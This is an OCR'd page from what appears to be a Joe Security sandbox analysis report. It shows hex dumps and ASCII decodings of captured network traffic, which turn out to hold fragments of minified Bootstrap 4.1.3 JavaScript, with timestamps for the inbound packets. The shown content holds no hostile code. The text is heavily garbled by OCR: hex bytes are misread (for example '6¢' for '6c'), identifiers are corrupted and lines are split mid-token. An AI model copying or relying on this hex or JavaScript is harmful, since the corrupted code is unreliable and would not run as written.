2e 5f 69 73 53 6¢ 69 64 69 6e 67 3d 6e 75 6¢ 6C 2C 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6¢ 65 6d 65 6e 74 3d 6e 75
6c 6C 2C 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6¢ 65 6d 65 6e 74 3d 6 75 6C 6C 7d 2C 74 2€ 5f 67 65 74 43
6f 6e 66 69 67 3d 66 75 6e 63 74 69 6f 6€ 28 74 29 7b 72 65 74

Data Ascii: (){P(this._element).off(L),P.removeData(this._element,H),this._items=null,this._config=null,this._element=nu
Il,this._interval=null,this._isPaused=null,this._isSliding=null,this._activeElement=null,this._indicatorsElement=null},t
._getConfig=function(t){ret

Data Raw: 2c 74 2e 5f 74 72 69 67 67 65 72 53 6¢ 69 64 65 45 76 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 2¢ 65 29 7b
76 61 72 20 6e 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 2c 69 3d 74 68 69 73 2e 5f 67 65 74
49 74 65 6d 49 6e 64 65 78 28 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6¢ 65 63 74 6f 72 28 58
29 29 2c 72 3d 50 2e 45 76 65 6e 74 28 51 2e 53 4c 49 44 45 2c 7b 72 65 6¢ 61 74 65 64 54 61 72 67 65 74 3a 74 2c 64
69 72 65 63 74 69 6f 6e 3a 65 2c 66 72 6f 6d 3a 69 2c 74 6f 3a 6e 7d 29 3b 72 65 74 75 72 6e 20 50 28 74 68 69 73 2e 5f
65 6¢ 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 72 29 2¢ 72 7d 2c 74 2e 5f 73 65 74 41 63 74 69 76 65 49 6e 64 69
63 61 74 6f 72 45 6¢ 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74

Data Ascii: ,t._triggerSlideEvent=function(t,e){var n=this._getltemIndex(t),i=this._getltemIndex(this._element.querySele
ctor(X)),r=P.Event(Q.SLIDE {relatedTarget:t,direction:e,from:i,to:n});return P(this._element).trigger(r),r},t._setActive
IndicatorElement=function(t

Page 114 of 131



kBytes

Timestamp transferred Direction
2022-05-13 12:56:24 UTC 2422 IN
2022-05-13 12:56:24 UTC 2423 IN
2022-05-13 12:56:24 UTC 2424 IN
2022-05-13 12:56:24 UTC 2426 IN
2022-05-13 12:56:24 UTC 2427 IN
2022-05-13 12:56:24 UTC 2428 IN
2022-05-13 12:56:24 UTC 2430 IN
2022-05-13 12:56:24 UTC 2431 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 7d 7d 2c 6f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 72 65
747572 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6 28 29 7b 76 61 72 20 74 3d 50 28 74 68 69 73 29
2e 64 61 74 61 28 48 29 2¢ 65 3d 6¢ 28 7b 7d 2c 57 2¢ 50 28 74 68 69 73 29 2e 64 61 74 61 28 29 29 3b 22 6f 62 6a 65
63 74 22 3d 3d 74 79 70 65 6f 66 20 69 26 26 28 65 3d 6¢ 28 7b 7d 2c 65 2¢ 69 29 29 3b 76 61 72 20 6e 3d 22 7374 72 6
9 6e 67 22 3d 3d 74 79 70 65 6f 66 20 69 3f 69 3a 65 2e 73 6¢ 69 64 65 3b 69 66 28 74 7c 7c 28 74 3d 6e 65 77 20 6f 28
74 68 69 73 2¢ 65 29 2c 50 28 74 68 69 73 29 2e 64 61 74 61 28 48 2¢ 74 29 29 2c 22 6e 75 6d 62 65 72 22 3d 3d 74 79
70 65 6f 66 20 69 29 74 2e 74 6f 28 69 29 3b 65 6¢ 73 65 20 69 66 28

Data Ascii: }},0._jQueryInterface=function(i){return this.each(function(){var t=P(this).data(H),e=I({}, W,P(this).data())
;"object"==typeof i&&(e=I({},e,i));var n="string"==typeof i?i:e.slide;if(t||(t=new o(this,e),P(this).data(H,t)),"number"==typeof i
)t.to(i);else if(

Data Raw: 69 63 6b 22 2b 63 74 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 67 74 3d 22 73 68 6f 77 22 2c 5f 74 3d 22 63
6f 6¢c 6¢ 61 70 73 65 22 2¢ 6d 74 3d 22 63 6f 6¢ 6¢ 61 70 73 69 6 67 22 2c 70 74 3d 22 63 6f 6¢ 6¢ 61 70 73 65 64 22 2C
7674 3d 22 77 69 64 74 68 22 2¢c 79 74 3d 22 68 65 69 67 68 74 22 2c 45 74 3d 22 2e 73 68 6f 77 2c 20 2e 63 6f 6¢ 6C
61 70 73 69 6e 67 22 2c 43 74 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6¢ 65 3d 22 63 6f 6¢ 6¢ 61 70 73 65 22 5d 27 2¢ 54
74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 74 68 69 73 2e 5f 69 73 54 72 6
1 6e 73 69 74 69 6f 6e 69 6e 67 3d 21 31 2c 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 3d 65 2c 74 68 69 73 2e 5f 63 6f 6e 6
669 67 3d 74 68 69 73 2e 5f 67 65 74 43 6f 6e 66 69 67 28 74 29

Data Ascii: ick"+ct+".data-api"},gt="show",_t="collapse",mt="collapsing”,pt="collapsed",vt="width",yt="height",Et=".show,
.collapsing",Ct="[data-toggle="collapse"]', Tt=function(){function a(e,t){this._isTransitioning=!1,this._element=e,this
._config=this._getConfig(t)

Data Raw: 61 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6¢ 6¢ 28 73 74 28 74 29 2e 6e 6f 74 28 74 68
69 73 2e 5f 73 65 6¢ 65 63 74 6f 72 29 2c 22 68 69 64 65 22 29 2¢ 65 7c 7c 73 74 28 74 29 2e 64 61 74 61 28 6¢ 74 2c 6e
75 6¢ 6¢ 29 29 3b 76 61 72 20 72 3d 74 68 69 73 2e 5f 67 65 74 44 69 6d 65 6e 73 69 6f 6e 28 29 3b 73 74 28 74 68 69
73 2e 5f 65 6¢ 65 6d 65 6e 74 29 2e 72 65 6d 6f 76 65 43 6¢ 61 73 73 28 5f 74 29 2e 61 64 64 43 6¢ 61 73 73 28 6d 74 29
2c 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 2e 73 74 79 6¢ 65 5b 72 5d 3d 30 2c 74 68 69 73 2e 5f 74 72 69 67 67 65 72
417272 6179 2e 6¢ 65 6e 67 74 68 26 26 73 74 28 74 68 69 73 2e 5f 74 72 69 67 67 65 72 41 72 72 61 79 29 2e 72 65
6d 6f 76 65 43 6¢ 61 73 73 28 70 74 29 2e 61 74 74 72 28 22 61 72

Data Ascii: a._jQueryInterface.call(st(t).not(this._selector),"hide"),e||st(t).data(lt,null));var r=this._getDimension();st(this._
element).removeClass(_t).addClass(mt),this._element.style[r]=0,this._triggerArray.length&&st(this._triggerArray).removeC
lass(pt).attr("ar

Data Raw: 65 6d 65 6e 74 29 2e 6f 6e 65 28 46 6e 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f
6e 28 29 7b 74 2e 73 65 74 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 28 21 31 29 2c 73 74 28 74 2e 5f 65 6¢ 65 6d 65 6e
7429 2e 72 65 6d 6f 76 65 43 6¢ 61 73 73 28 6d 74 29 2e 61 64 64 43 6¢ 61 73 73 28 5f 74 29 2e 74 72 69 67 67 65 72
28 64 74 2e 48 49 44 44 45 4e 29 7d 29 2e 65 6d 75 6¢ 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 61 29 7d 7d
7d 2c 74 2e 73 65 74 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 68 69 73 2e 5f
69 73 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 3d 74 7d 2c 74 2e 64 69 73 70 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29
7b 73 74 2e 72 65 6d 6f 76 65 44 61 74 61 28 74 68 69 73 2e 5f 65 6¢ 65

Data Ascii: ement).one(Fn.TRANSITION_END,function(){t.setTransitioning(!1),st(t._element).removeClass(mt).addC
lass(_t).trigger(dt.HIDDEN)}).emulateTransitionEnd(a)}}},t.setTransitioning=function(t){this._isTransitioning=t},t.dispo
se=function(){st.removeData(this._ele

Data Raw: 26 26 2f 73 68 6f 77 7c 68 69 64 65 2f 2e 74 65 73 74 28 69 29 26 26 28 6e 2e 74 6f 67 67 6¢ 65 3d 21 31 29
2c 65 7c 7¢ 28 65 3d 6e 65 77 20 61 28 74 68 69 73 2c 6e 29 2c 74 2e 64 61 74 61 28 6¢ 74 2¢ 652929 2c 22 737472
69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 69 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20
65 5b 69 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65
64 20 22 27 2b 69 2b 27 22 27 29 3b 65 5b 69 5d 28 29 7d 7d 29 7d 2c 73 28 61 2c 6e 75 6¢ 6¢ 2c 5b 7b 6b 65 79 3a 22
56 45 52 53 49 4f 4e 22 2¢ 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 34 2e 31 2e 3322 7d 7d
2c 7b 6b 65 79 3a 22 44 65 66 61 75 6¢ 74 22 2c 67 65 74 3a 66 75 6e

Data Ascii: &&/show|hide/.test(i)&&(n.toggle=!1),e||(e=new a(this,n),t.data(lt,e)),"string"==typeof i){if("undefined"==typeof
e[i])throw new TypeError('No method named "+i+"");e[i]()}})},s(a,null,[{key:"VERSION" get:function(){return"4.1.3"}} {key:
"Default”,get:fun

Data Raw: 2c 62 6f 75 6e 64 61 72 79 3a 22 73 63 72 6f 6¢ 6¢ 50 61 72 65 6e 74 22 2c 72 65 66 65 72 65 6e 63 65 3a 22
74 6f 67 67 6C 65 22 2c 64 69 73 70 6¢ 61 79 3a 22 64 79 6e 61 6d 69 63 22 7d 2¢c 5a 74 3d 7b 6f 66 66 73 65 74 3a 22
28 6e 75 6d 62 65 72 7c 73 74 72 69 6e 67 7c 66 75 6e 63 74 69 6f 6e 29 22 2¢ 66 6¢ 69 70 3a 22 62 6f 6f 6¢ 65 61 6e 22
2c 62 6f 75 6e 64 61 72 79 3a 22 28 73 74 72 69 6e 67 7c 65 6¢ 65 6d 65 6e 74 29 22 2c 72 65 66 65 72 65 6e 63 65 3a
222873747269 6e 67 7c 65 6¢ 65 6d 65 6e 74 29 22 2¢ 64 69 73 70 6¢ 61 79 3a 22 73 74 72 69 6e 67 22 7d 2c 47 74
3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 74 2¢ 65 29 7b 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6
74 3d 74 2c 74 68 69 73 2e 5f 70 6f 70 70 65 72 3d 6e 75 6¢ 6C 2¢

Data Ascii: ,boundary:"scrollParent" reference:"toggle”,display:"dynamic"}, Zt={offset:"(number|string|function)" flip:"b
oolean”,boundary:"(string|element)",reference:"(string|element)",display:"string"},Gt=function(){function c(t,e){this._e
lement=t,this._popper=null,

Data Raw: 2c 62 74 28 74 29 2e 74 6f 67 67 6¢ 65 43 6¢ 61 73 73 28 50 74 29 2e 74 72 69 67 67 65 72 28 62 74 2e 45 76
65 6e 74 28 4f 74 2e 53 48 4f 57 4e 2c 6e 29 29 7d 7d 7d 7d 2c 74 2e 64 69 73 70 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28
29 7b 62 74 2e 72 65 6d 6f 76 65 44 61 74 61 28 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6€ 74 2¢ 49 74 29 2¢ 62 74 28 74 68
69 73 2e 5f 65 6¢ 65 6d 65 6e 74 29 2e 6f 66 66 28 41 74 29 2c 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 3d 6e 75 6¢ 6¢ 2¢
28 74 68 69 73 2e 5f 6d 65 6e 75 3d 6e 75 6¢ 6¢ 29 21 3d 3d 74 68 69 73 2e 5f 70 6f 70 70 65 72 26 26 28 74 68 69 73
2e 5f 70 6f 70 70 65 72 2e 64 65 73 74 72 6f 79 28 29 2c 74 68 69 73 2e 5f 70 6f 70 70 65 72 3d 6e 75 6¢ 6¢ 29 7d 2c 74
2e 75 70 64 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68

Data Ascii: ,bt(t).toggleClass(Pt).trigger(bt.Event(Ot. SHOWN,n))}}}},t.dispose=function(){bt.removeData(this._element,It
),bt(this._element).off(At),this._element=null,(this._menu=null)!==this._popper&&(this._popper.destroy(),this._popper=nu
I1)},t.update=function(){th

Data Raw: 77 3a 7b 62 6f 75 6e 64 61 72 69 65 73 45 6¢ 65 6d 65 6e 74 3a 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 62 6f
756e 6461 7279 7d 7d 7d 3b 72 65 74 75 72 6e 22 73 74 61 74 69 63 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67
2e 64 69 73 70 6¢ 61 79 26 26 28 6e 2e 6d 6f 64 69 66 69 65 72 73 2e 61 70 70 6¢ 79 53 74 79 6¢ 65 3d 7b 65 6€ 61 62
6¢c 65 64 3a 21 31 7d 29 2c 6e 7d 2c 63 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 3d 66 75 6e 63 74 69 6f 6e 2
86529 7h 7265 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 62
742874 68 69 73 29 2e 64 61 74 61 28 49 74 29 3b 69 66 28 74 7c 7c 28 74 3d 6e 65 77 20 63 28 74 68 69 73 2c 22 6f
62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 3a 6e 75 6¢ 6¢ 29

Data Ascii: w:{boundariesElement:this._config.boundary}}};return”static"===this._config.display&&(n.modifiers.applyStyle=
{enabled:!1}),n},c._jQueryinterface=function(e){return this.each(function(){var t=bt(this).data(lt);if(t||(t=new c(this,"object"=
=typeof e?e:null)
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Data

Data Raw: 69 63 68 26 26 33 38 21 3d 3d 74 2e 77 68 69 63 68 7c 7c 62 74 28 74 2e 74 61 72 67 65 74 29 2e 63 6¢ 6f 73
65737428 71 74 29 2e 6¢ 65 6e 67 74 68 29 29 3a 4e 74 2e 74 65 73 74 28 74 2e 77 68 69 63 68 29 29 26 26 28 74 2e
70 72 65 76 65 6e 74 44 65 66 61 75 6¢ 74 28 29 2¢ 74 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2¢ 21 74 68
69 73 2e 64 69 73 61 62 6¢ 65 64 26 26 21 62 74 28 74 68 69 73 29 2e 68 61 73 43 6¢ 61 73 73 28 6b 74 29 29 29 7b 76
61 72 20 65 3d 63 2e 5f 67 65 74 50 61 72 65 6e 74 46 72 6f 6d 45 6¢ 65 6d 65 6e 74 28 74 68 69 73 29 2¢ 6e 3d 62 74 2
86529 2e 68617343 6¢ 61 73 73 2850 74 29 3b 69 66 28 28 6e 7c 7c 32 37 3d 3d 3d 74 2e 77 68 69 63 68 26 26 33
32 3d 3d 3d 74 2e 77 68 69 63 68 29 26 26 28 21 6e 7c 7c 32 37 21 3d

Data Ascii: ich&&38!==t.which||bt(t.target).closest(qt).length)):Nt.test(t.which))&&(t.preventDefault(),t.stopPropagatio
n(),'this.disabled&&!bt(this).hasClass(kt))){var e=c._getParentFromElement(this),n=bt(e).hasClass(Pt);if((n||27===t.whic
h&&32===t.which)&&(!n||27!=

Data Raw: 7d 2c 6f 65 3d 7b 48 49 44 45 3a 22 68 69 64 65 22 2b 65 65 2c 48 49 44 44 45 4e 3a 22 68 69 64 64 65 6e 22
2b 65 65 2¢ 53 48 4f 57 3a 22 73 68 6f 77 22 2b 65 65 2c 53 48 4f 57 4e 3a 22 73 68 6f 77 6e 22 2b 65 65 2c 46 4f 43 55
53 49 4e 3a 22 66 6f 63 75 73 69 6e 22 2b 65 65 2¢ 52 45 53 49 5a 45 3a 22 72 65 73 69 7a 65 22 2b 65 65 2¢ 43 4c 49
43 4b 5f 44 49 53 4d 49 53 53 3a 22 63 6¢ 69 63 6b 2e 64 69 73 6d 69 73 73 22 2b 65 65 2c 4b 45 59 44 4f 57 4e 5f 44 49
53 4d 49 53 53 3a 22 6b 65 79 64 6f 77 6e 2e 64 69 73 6d 69 73 73 22 2b 65 65 2c 4d 4f 55 53 45 55 50 5f 44 49 53 4d
49 53 53 3a 22 6d 6f 75 73 65 75 70 2e 64 69 73 6d 69 73 73 22 2b 65 65 2c 4d 4f 55 53 45 44 4f 57 4e 5f 44 49 53 4d 49
53 53 3a 22 6d 6f 75 73 65 64 6f 77 6e 2e 64 69 73 6d 69 73 73

Data Ascii: },0e={HIDE:"hide"+ee,HIDDEN:"hidden"+ee, SHOW:"show"+ee,SHOWN:"shown"+ee,FOCUSIN:"focusin
"+ee,RESIZE:"resize"+ee,CLICK_DISMISS:"click.dismiss"+ee, KEYDOWN_DISMISS:"keydown.dismiss"+ee, MOUSEU
P_DISMISS:"mouseup.dismiss"+ee, MOUSEDOWN_DISMISS:"mousedown.dismiss

Data Raw: 74 69 6f 6e 28 29 7b 24 74 28 65 2e 5f 65 6¢ 65 6d 65 6e 74 29 2e 6f 6e 65 28 6f 65 2e 4d 4f 55 53 45 55 50 5f
44 49 53 4d 49 53 53 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 24 74 28 74 2e 74 61 72 67 65 74 29 2e 69 73 28 65 2e 5f
65 6¢ 65 6d 65 6e 74 29 26 26 28 65 2e 5f 69 67 6e 6f 72 65 42 61 63 6b 64 72 6f 70 43 6¢ 69 63 6b 3d 21 30 29 7d 29 7d
29 2c 74 68 69 73 2e 5f 73 68 6f 77 42 61 63 6b 64 72 6f 70 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65
2e 5f 73 68 6f 77 45 6¢ 65 6d 65 6e 74 28 74 29 7d 29 29 7d 7d 2c 74 2e 68 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74

29 7b 76 61 72 20 65 3d 74 68 69 73 3b 69 66 28 74 26 26 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6¢ 74 28 29 2c 21
74 68 69 73 2e 5f 69 73 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67

Data Ascii: tion(){$t(e._element).one(oe. MOUSEUP_DISMISS function(t){$t(t.target).is(e._element)&&(e._ignoreBa
ckdropClick=!0)})}),this._showBackdrop(function(){return e._showElement(t)}))}},t.hide=function(t){var e=this;if(t&&t.pr
eventDefault(),!this._isTransitioning

Data Raw: 65 2e 6e 6f 64 65 54 79 70 65 3d 3d 3d 4e 6f 64 65 2e 45 4c 45 4d 45 4e 54 5f 4e 4f 44 45 7c 7c 64 6f 63 75
6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6¢ 64 28 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 29 2¢c 74 68
69 73 2e 5f 65 6¢ 65 6d 65 6e 74 2e 73 74 79 6¢ 65 2e 64 69 73 70 6¢ 61 79 3d 22 62 6¢ 6f 63 6b 22 2C 74 68 69 73 2e 5f
65 6¢ 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 68 69 64 64 65 6e 22 29 2c
74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 2e 73 63 72 6f 6¢ 6¢ 54 6f 70 3d 30 2c 6e 26 26 46 6e 2e 72 65 66 6¢ 6f 77 28 74
68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 29 2c 24 74 28 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 29 2e 61 64 64 43 6¢ 61 73 7
32868 6529 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 66 6f 63

Data Ascii: e.nodeType===Node.ELEMENT_NODE||document.body.appendChild(this._element),this._element.style.displ
ay="block" this._element.removeAttribute("aria-hidden"),this._element.scrollTop=0,n&&Fn.reflow(this._element),$t(this._e
lement).addClass(he),this._config.foc

Data Raw: 65 74 53 63 72 6f 6¢ 6¢ 62 61 72 28 29 2c 24 74 28 74 2e 5f 65 6¢ 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 72
28 6f 65 2e 48 49 44 44 45 4e 29 7d 29 7d 2c 74 2e 5f 72 65 6d 6f 76 65 42 61 63 6b 64 72 6f 70 3d 66 75 6e 63 74 69 6f
6e 28 29 7b 74 68 69 73 2e 5f 62 61 63 6b 64 72 6f 70 26 26 28 24 74 28 74 68 69 73 2e 5f 62 61 63 6b 64 72 6f 70 29 2e
72 65 6d 6f 76 65 28 29 2c 74 68 69 73 2e 5f 62 61 63 6b 64 72 6f 70 3d 6e 75 6¢ 6¢ 29 7d 2c 74 2e 5f 73 68 6f 77 42 61
63 6b 64 72 6f 70 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 24 74 28 74 68 69 73
2e 5f 65 6¢ 65 6d 65 6e 74 29 2e 68 61 73 43 6¢ 61 73 73 28 63 65 29 3f 63 65 3a 22 22 3b 69 66 28 74 68 69 73 2e 5f
69 73 53 68 6f 77 6e 26 26 74 68 69 73 2e 5f 63 6f 6e 66 69 67

Data Ascii: etScrollbar(),$t(t._element).trigger(oe.HIDDEN)})},t._removeBackdrop=function(){this._backdrop&&($t(this._ba
ckdrop).remove(),this._backdrop=null)},t._showBackdrop=function(t){var e=this,n=$t(this._element).hasClass(ce)?ce:"";if(
this._isShown&&this._config

Data Raw: 61 64 64 69 6e 67 52 69 67 68 74 3d 74 68 69 73 2e 5f 73 63 72 6f 6¢ 6¢ 62 61 72 57 69 64 74 68 2b 22 70 78
2229 7d 2c 74 2e 5f 72 65 73 65 74 41 64 6a 75 73 74 6d 65 6e 74 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73
2e 5f 65 6¢ 65 6d 65 6 74 2e 73 74 79 6¢ 65 2e 70 61 64 64 69 6e 67 4c 65 66 74 3d 22 22 2c 74 68 69 73 2e 5f 65 6¢
65 6d 65 6e 74 2e 73 74 79 6¢ 65 2e 70 61 64 64 69 6e 67 52 69 67 68 74 3d 22 22 7d 2c 74 2e 5f 63 68 65 63 6b 53 63
72 6f 6¢ 6¢ 62 61 72 3d 66 75 6€ 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 67
65 74 42 6f 75 6e 64 69 6e 67 43 6¢ 69 65 6e 74 52 65 63 74 28 29 3b 74 68 69 73 2e 5f 69 73 42 6f 64 79 4f 76 65 72 66
6c 6f 77 69 6e 67 3d 74 2e 6¢ 65 66 74 2b 74 2e 72 69 67 68 74 3c

Data Ascii: addingRight=this._scrollbarWidth+"px")},t._resetAdjustments=function(){this._element.style.paddingLeft="",th
is._element.style.paddingRight=""},t._checkScrollbar=function(){var t=document.body.getBoundingClientRect();th
is._isBodyOverflowing=t.left+t.right<

Data Raw: 2c 6e 29 2e 72 65 6d 6f 76 65 44 61 74 61 28 22 6d 61 72 67 69 6e 2d 72 69 67 68 74 22 29 7d 29 3b 76 61
72 20 6e 3d 24 74 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 2e 64 61 74 61 28 22 70 61 64 64 69 6e 67 2d 72 69 67
68 74 22 29 3b 24 74 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 2e 72 65 6d 6f 76 65 44 61 74 61 28 22 70 61 64 64 6
9 6e 67 2d 72 69 67 68 74 22 29 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 73 74 79 6¢ 65 2e 70 61 64 64 69 6e 67 52
69 67 68 74 3d 6e 7c 7c 22 22 7d 2c 74 2e 5f 67 65 74 53 63 72 6f 6¢ 6¢ 62 61 72 57 69 64 74 68 3d 66 75 6€ 63 74 69 6f
6e 28 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6¢ 65 6d 65 6e 74 28 22 64 69 76 22 29
3b 74 2e 63 6¢ 61 73 73 4e 61 6d 65 3d 73 65 2c 64 6f 63 75 6d 65 6e

Data Ascii: ,n).removeData("margin-right")});var n=$t(document.body).data("padding-right");$t(document.body).r
emoveData("padding-right"),document.body.style.paddingRight=n||""},t._getScrollbarWidth=function(){var t=docum
ent.createElement("div");t.className=se,documen

Data Raw: 74 6f 6f 6¢ 74 69 70 22 29 2c 43 65 3d 28 70 65 3d 65 29 2e 66 6e 5b 76 65 5d 2c 54 65 3d 22 62 73 2d 74 6f
6f 6¢c 74 69 70 22 2c 62 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 28 5e 7c 5¢c 5¢ 73 29 22 2b 54 65 2b 22 5¢ 5¢ 53 2b
22 2c 22672229 2c41653d7b 61 6e 69 6d 61 74 69 6f 6e 3a 21 30 2c 74 65 6d 70 6¢ 61 74 65 3a 27 3c 64 69 76 20
63 6¢ 61 73 73 3d 22 74 6f 6f 6¢ 74 69 70 22 20 72 6f 6¢ 65 3d 22 74 6f 6f 6¢ 74 69 70 22 3e 3c 64 69 76 20 63 6¢ 61 73
733d 22 617272 6f 77 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 74 6f 6f 6¢ 74 69 70 2d 69 6e 6e 65
72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 27 2c 74 72 69 67 67 65 72 3a 22 68 6f 76 65 72 20 66 6f 63 75 73 22 2¢ 74
69 74 6¢ 65 3a 22 22 2c 64 65 6¢ 61 79 3a 30 2c 68 74 6d 6¢ 3a

Data Ascii: tooltip"),Ce=(pe=e).fn[ve], Te="bs-tooltip",be=new RegExp("(*|\\s)"+Te+"\S+","g"),Ae={animation:!0,template:
‘<div class="tooltip" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>'" trigger:"hover fo
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Data

Data Raw: 73 74 65 6e 65 72 7328 29 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74
2e 65 6e 61 62 6¢ 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 45 6e 61 62 6¢ 65 64 3d 21 30 7d 2c
74 2e 64 69 73 61 62 6¢ 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 45 6e 61 62 6¢ 65 64 3d 21 31
7d 2c 74 2e 74 6f 67 67 6¢ 65 45 6e 61 62 6¢ 65 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7h 74 68 69 73 2e 5f 69 73 45 6e 61
62 6¢ 65 64 3d 21 74 68 69 73 2e 5f 69 73 45 6e 61 62 6¢ 65 64 7d 2c 74 2e 74 6f 67 67 6¢ 65 3d 66 75 6€ 63 74 69 6f 6
28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 73 45 6e 61 62 6¢ 65 64 29 69 66 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73
2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 44 41 54 41 5f 4b 45 59 2¢

Data Ascii: steners()}var t=i.prototype;return t.enable=function(){this._isEnabled=!0},t.disable=function(){this._isEnab
led=!1},t.toggleEnabled=function(){this._isEnabled=!this._isEnabled},t.toggle=function(t){if(this._isEnabled)if(t){var e
=this.constructor.DATA_KEY,

Data Raw: 65 6e 74 65 64 28 29 7c 7c 21 6e 29 72 65 74 75 72 6e 3b 76 61 72 20 69 3d 74 68 69 73 2e 67 65 74 54 69
70 45 6¢ 65 6d 65 6e 74 28 29 2c 72 3d 46 6e 2e 67 65 74 55 49 44 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72
2e 4e 41 4d 45 29 3b 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2¢c 72 29 2c 74 68 69 73 2e 65 6¢ 65 6d
65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 64 65 73 63 72 69 62 65 64 62 79 22 2¢ 72 29 2¢
74 68 69 73 2e 73 65 74 43 6f 6e 74 65 6e 74 28 29 2c 74 68 69 73 2e 63 6f 6e 66 69 67 2e 61 6e 69 6d 61 74 69 6f 6 26
26 70 65 28 69 29 2e 61 64 64 43 6¢ 61 73 73 28 4f 65 29 3b 76 61 72 20 6f 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74
79 70 65 6f 66 20 74 68 69 73 2e 63 6f 6e 66 69 67 2e 70 6¢ 61 63 65 6d

Data Ascii: ented()||!n)return;var i=this.getTipElement(),r=Fn.getUID(this.constructor. NAME);i.setAttribute("id",r),this
.element.setAttribute("aria-describedby",r),this.setContent(),this.config.animation&&pe(i).addClass(Oe);var o="function"
==typeof this.config.placem

Data Raw: 46 72 6f 6d 45 6¢ 65 6d 65 6e 74 28 74 68 69 73 2e 74 69 70 29 3b 70 65 28 74 68 69 73 2e 74 69 70 29 2e 6f
